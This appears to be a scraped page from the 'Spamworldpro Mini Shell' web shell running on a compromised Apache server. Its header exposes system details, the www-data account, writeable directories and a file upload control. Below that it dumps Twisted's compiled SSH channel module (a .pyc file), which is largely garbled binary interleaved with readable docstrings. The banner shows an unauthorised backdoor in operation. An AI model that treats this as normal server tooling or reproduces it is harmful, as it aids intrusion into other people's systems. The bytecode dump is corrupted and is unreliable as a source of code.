Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/conch/ssh/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/conch/ssh/__pycache__/channel.cpython-310.pyc
o

�b�&�@sTdZddlmZddlmZddlmZddlmZeej	�Gdd�dej��Z
dS)	z�
The parent class for all the SSH Channels.  Currently implemented channels
are session, direct-tcp, and forwarded-tcp.

Maintainer: Paul Swartz
�)�implementer)�
interfaces)�Logger)�logc@s�eZdZUdZe�ZdZeed<							d0dd�Z	de
fdd	�Zdefd
d�Zdd
�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�ZdS)1�
SSHChannela�
    A class that represents a multiplexed channel over an SSH connection.
    The channel has a local window which is the maximum amount of data it will
    receive, and a remote which is the maximum amount of data the remote side
    will accept.  There is also a maximum packet size for any individual data
    packet going each way.

    @ivar name: the name of the channel.
    @type name: L{bytes}
    @ivar localWindowSize: the maximum size of the local window in bytes.
    @type localWindowSize: L{int}
    @ivar localWindowLeft: how many bytes are left in the local window.
    @type localWindowLeft: L{int}
    @ivar localMaxPacket: the maximum size of packet we will accept in bytes.
    @type localMaxPacket: L{int}
    @ivar remoteWindowLeft: how many bytes are left in the remote window.
    @type remoteWindowLeft: L{int}
    @ivar remoteMaxPacket: the maximum size of a packet the remote side will
        accept in bytes.
    @type remoteMaxPacket: L{int}
    @ivar conn: the connection this channel is multiplexed through.
    @type conn: L{SSHConnection}
    @ivar data: any data to send to the other side when the channel is
        requested.
    @type data: L{bytes}
    @ivar avatar: an avatar for the logged-in user (if a server channel)
    @ivar localClosed: True if we aren't accepting more data.
    @type localClosed: L{bool}
    @ivar remoteClosed: True if the other side isn't accepting more data.
    @type remoteClosed: L{bool}
    N�namercCsn|pd|_|j|_|pd|_||_||_d|_||_||_||_d|_	d|_
g|_d|_d|_
d|_d|_dS)Nii���r)�localWindowSize�localWindowLeft�localMaxPacket�remoteWindowLeft�remoteMaxPacket�
areWriting�conn�data�avatar�specificData�buf�extBuf�closing�localClosed�remoteClosed�id)�self�localWindowr�remoteWindowrrrr�r�;/usr/lib/python3/dist-packages/twisted/conch/ssh/channel.py�__init__9s 



zSSHChannel.__init__�returncCs|���d�S)N�ascii)�	__bytes__�decode�rrrr�__str__TszSSHChannel.__str__cCs |j}|sd}d||j|jfS)zD
        Return a byte string representation of the channel
        sNones<SSHChannel %b (lw %d rw %d)>)rrr
)rrrrrr"Ws�zSSHChannel.__bytes__cCsL|jdur
t|j�pd}|jr|j�d�}nd}d|�d|�d|j����S)N�unknownr!�NonezSSHChannel z (z) on )r�strrr#r�	logPrefix)rrrrrrr)es
zSSHChannel.logPrefixcC�|j�d�dS)z�
        Called when the channel is opened.  specificData is any data that the
        other side sent us when opening the channel.

        @type specificData: L{bytes}
        zchannel openN��_log�info)rrrrr�channelOpenmszSSHChannel.channelOpencC�|jjd|d�dS)z�
        Called when the open failed for some reason.
        reason.desc is a string descrption, reason.code the SSH error code.

        @type reason: L{error.ConchError}
        z(other side refused open
reason: {reason})�reasonN)r,�error)rr0rrr�
openFailedv�zSSHChannel.openFailedcCsv|j||_|js|jsd|_|��|jr!|j}d|_|�|�|jr7|j}g|_|D]\}}|�||�q,dSdS)z�
        Called when bytes are added to the remote window.  By default it clears
        the data buffers.

        @type data:    L{bytes}
        Tr	N)r
rr�startWritingr�writer�
writeExtended)rr�b�typerrr�addWindowBytess
�zSSHChannel.addWindowBytescCsB|�dd��d�}t|d|d�}|r||�S|jjd|d�dS)	aJ
        Called when a request is sent to this channel.  By default it delegates
        to self.request_<requestType>.
        If this function returns true, the request succeeded, otherwise it
        failed.

        @type requestType:  L{bytes}
        @type data:         L{bytes}
        @rtype:             L{bool}
        �-�_r!�request_Nz#unhandled request for {requestType})�requestTyper)�replacer#�getattrr,r-)rr=r�foo�frrr�requestReceived�szSSHChannel.requestReceivedcCr/)zL
        Called when we receive data.

        @type data: L{bytes}
        zgot data {data})rN�r,�debug�rrrrr�dataReceived�szSSHChannel.dataReceivedcCs|jjd||d�dS)z�
        Called when we receive extended data (usually standard error).

        @type dataType: L{int}
        @type data:     L{str}
        z%got extended data {dataType} {data!r})�dataTyperNrC�rrGrrrr�extReceived�s
�zSSHChannel.extReceivedcCr*)zD
        Called when the other side will send no more data.
        z
remote eofNr+r$rrr�eofReceived�szSSHChannel.eofReceivedcCs|j�d�|��dS)zD
        Called when the other side has closed the channel.
        zremote closeN)r,r-�loseConnectionr$rrr�
closeReceived�szSSHChannel.closeReceivedcCr*)z�
        Called when the channel is closed.  This means that both our side and
        the remote side have closed the channel.
        �closedNr+r$rrrrM�szSSHChannel.closedcCs�|jr|j|7_dSt|�}||jkr/|d|j�||jd�}|_d|_|��|j}|j}|jj}td||�}|D]
}||||||��q>|j|8_|j	r_|jsa|�
�dSdSdS)z�
        Write some data to the channel.  If there is not enough remote window
        available, buffer until it is.  Otherwise, split the data into
        packets of length remoteMaxPacket and send them.

        @type data: L{bytes}
        Nr)r�lenr
r�stopWritingrr�sendData�rangerrK)rr�top�rmpr5�r�offsetrrrr5�s(
��zSSHChannel.writecCs|jr#|jdd|kr|jdd|7<dS|j�||g�dSt|�|jkrD|d|j�|||jd�gg}|_d|_|��t|�|jkrn|j�|||d|j��||jd�}|j|j8_t|�|jksK|r�|j�|||�|jt|�8_|j	r�|�
�dSdS)a
        Send extended data to this channel.  If there is not enough remote
        window available, buffer until there is.  Otherwise, split the data
        into packets of length remoteMaxPacket and send them.

        @type dataType: L{int}
        @type data:     L{bytes}
        ���rrN)r�appendrNr
rrOrr�sendExtendedDatarrKrHrrrr6�s.	����zSSHChannel.writeExtendedcCs|�d�|��dS)z�
        Part of the Transport interface.  Write a list of strings to the
        channel.

        @type data: C{list} of L{str}
        r	N)r5�joinrErrr�
writeSequence
r3zSSHChannel.writeSequencecCs*d|_|js|js|j�|�dSdSdS)zr
        Close the channel if there is no buferred data.  Otherwise, note the
        request and return.
        rN)rrrr�	sendCloser$rrrrKs�zSSHChannel.loseConnectioncC�|jj��S)z�
        See: L{ITransport.getPeer}

        @return: The remote address of this connection.
        @rtype: L{SSHTransportAddress}.
        )r�	transport�getPeerr$rrrr^�zSSHChannel.getPeercCr\)z�
        See: L{ITransport.getHost}

        @return: An address describing this side of the connection.
        @rtype: L{SSHTransportAddress}.
        )rr]�getHostr$rrrr`%r_zSSHChannel.getHostcC�dS)z�
        Called when the remote buffer is full, as a hint to stop writing.
        This can be ignored, but it can be helpful.
        Nrr$rrrrO.�zSSHChannel.stopWritingcCra)ze
        Called when the remote buffer has more room, as a hint to continue
        writing.
        Nrr$rrrr44rbzSSHChannel.startWriting)rrrrNNN)�__name__�
__module__�__qualname__�__doc__rr,r�bytes�__annotations__rr(r%r"r)r.r2r9rBrFrIrJrLrMr5r6rZrKr^r`rOr4rrrrrs@
 
�		 				rN)rf�zope.interfacer�twisted.internetr�twisted.loggerr�twisted.pythonr�
ITransportrrrrr�<module>s

Spamworldpro Mini